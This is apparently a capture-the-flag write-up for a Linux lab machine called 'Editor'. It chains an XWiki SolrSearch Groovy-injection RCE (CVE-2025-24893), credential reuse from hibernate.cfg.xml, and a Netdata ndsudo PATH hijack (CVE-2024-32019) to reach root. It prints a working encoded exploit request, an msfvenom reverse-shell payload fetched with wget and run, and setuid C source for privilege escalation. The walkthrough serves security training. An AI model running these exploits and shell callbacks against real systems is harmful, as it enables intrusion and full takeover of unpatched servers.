Overview

Editor is an easy Linux machine built around an XWiki instance. An unauthenticated remote code execution vulnerability in the SolrSearch macro provides an initial foothold, database credentials found in the XWiki config are reused over SSH, and membership of the netdata group combined with a vulnerable ndsudo binary leads to root.

Attack Chain

  • Enumerate open ports and discover a code editor web application
  • Identify the wiki.editor.htb vhost from the Docs link
  • Fingerprint XWiki 15.10.8 running on the wiki vhost
  • Exploit CVE-2025-24893, an unauthenticated RCE in the SolrSearch macro
  • Gain a reverse shell as xwiki using an msfvenom payload
  • Recover database credentials from hibernate.cfg.xml
  • Reuse the credentials over SSH as oliver
  • Identify netdata group membership and a vulnerable Netdata version
  • Exploit CVE-2024-32019, a PATH hijack in the ndsudo SUID binary
  • Escalate to root

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.129.58.113; export NAME=EDITOR; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results

Findings

Open TCP ports are 22 (SSH), 80 (HTTP) and 8080.

Web Enumeration

Port 80 - HTTP

The host doesn’t resolve by IP, so we add editor.htb to /etc/hosts.

echo "$IP editor.htb" | sudo tee -a /etc/hosts

hosts file

Navigating to http://editor.htb presents a landing page for a code editor product.

editor.htb home page

The Docs link on the page points to another vhost, wiki.editor.htb, which we also add to /etc/hosts.

Docs link reveals wiki vhost

Navigating to wiki.editor.htb lands on the wiki documentation for SimplistCode Pro.

wiki.editor.htb home page

Further down the page, the footer discloses that the wiki is running XWiki Debian 15.10.8.

XWiki version disclosure

Foothold

CVE-2025-24893 - XWiki SolrSearch RCE

Research on XWiki 15.10.8 identifies CVE-2025-24893, an unauthenticated remote code execution vulnerability via the SolrSearch macro in XWiki.

Exploitation is as simple as sending a GET request to the macro endpoint with a Groovy code injection payload.

curl "http://<target>/xwiki/bin/get/Main/SolrSearch?media=rss&text=[Malicious_Groovy_Payload]"

A public exploit script is available on GitHub:

https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py

Rather than run the script, we take the payload from it and issue the request manually, testing with cat /etc/passwd.

curl -G "http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"

The response includes familiar /etc/passwd contents, confirming remote code execution.

RCE confirmed via /etc/passwd

The request is moved into BurpSuite for easier editing and troubleshooting of subsequent payloads.

curl -G "http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d" -x 127.0.0.1:8080

RCE output in Burp Suite

Reverse Shell

Standard bash and nc reverse shell one-liners fail, mostly with Failed to execute the [groovy] macro. Cause: [error=2, No such file or directory]. Instead of chaining shell operators in one request, we keep each request to a single command and drop a compiled msfvenom payload on the target.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.30 LPORT=443 -f elf -o rev443

Generating the msfvenom payload

First, we serve the payload and have the target pull it into /dev/shm.

wget http://10.10.14.30/rev443 -O /dev/shm/rev443

Downloading the payload to /dev/shm

The web server logs a 200 response, confirming the target downloaded the payload.

200 response on the payload server

We confirm the payload landed on the target.

ls -la /dev/shm

rev443 present in /dev/shm

Next, make the payload executable.

chmod +x /dev/shm/rev443

Making the payload executable

With a penelope listener running on port 443, we execute the payload.

/dev/shm/rev443

Triggering the reverse shell

We catch a shell as xwiki.

Shell as xwiki

Lateral Movement

Credential Recovery

We check which other accounts have shell access.

cat /etc/passwd | grep -i "sh$"

Only root and oliver have a shell assigned.

Users with shell access

Further research on XWiki shows its configuration file stores plaintext credentials for the backing database. We inspect /etc/xwiki.

ls -la /etc/xwiki

hibernate.cfg.xml is readable.

Contents of /etc/xwiki

cat /etc/xwiki/hibernate.cfg.xml

The file discloses database credentials.

Credentials in hibernate.cfg.xml

xwiki:theEd1t0rTeam99

Connecting to the database with these credentials doesn’t reveal anything useful.

mysql -u xwiki -p'theEd1t0rTeam99' -h localhost

Password Reuse

We instead try the password against oliver, the only other user with shell access.

ssh oliver@$IP

Password reuse works.

SSH login as oliver succeeds

We land an interactive shell as oliver.

Interactive shell as oliver

Read the user flag.

User flag

Privilege Escalation

Enumeration

Running id shows we’re part of the netdata group.

id output showing netdata group

Netdata is a system health and performance monitoring tool. The netdata group is created automatically during installation, and Netdata has a known local privilege escalation vulnerability in versions ≥ v1.45.0 < v1.45.3.

We locate the Netdata binary to check its version.

find / -name netdata -type f 2>/dev/null

Locating the netdata binary

/opt/netdata/bin/netdata -V

The installed version, 1.45.2, is vulnerable to CVE-2024-32019.

Vulnerable netdata version 1.45.2

CVE-2024-32019 is a high-severity local privilege escalation vulnerability in Netdata (versions >= 1.44.0-60 < 1.45.3), caused by insecure use of the PATH variable in the ndsudo SUID binary, allowing attackers to execute arbitrary commands as root.

CVE-2024-32019 - ndsudo PATH Hijack

A public exploit is available:

https://github.com/dollarboysushil/CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation

The target doesn’t have gcc, so we compile the helper binary locally instead.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

We compile it statically so it resolves everything at build time, avoiding any runtime loader or version dependency on the target.

gcc -static nvme.c -o nvme

/dev/shm is already known to be writable, so we transfer nvme there and make it executable.

Transferring and preparing nvme in /dev/shm

We prepend /dev/shm to PATH so ndsudo resolves our malicious nvme binary instead of the real one.

export PATH=/dev/shm:$PATH

Modifying PATH to prioritize /dev/shm

Before triggering the exploit, we confirm ndsudo has the SUID bit set.

ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

ndsudo with SUID bit confirmed

Triggering the exploit executes our nvme binary as root via the hijacked PATH.

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

We land a root shell.

Root shell obtained

Read the root flag.

Root flag

Key Takeaways

Editor shows how a single unpatched web application component can cascade into full system compromise. An unauthenticated XWiki RCE provided the initial foothold, plaintext database credentials in a config file were reused to pivot to an SSH user, and group membership combined with an unpatched local monitoring agent gave a straightforward path to root via a PATH-hijacked SUID binary.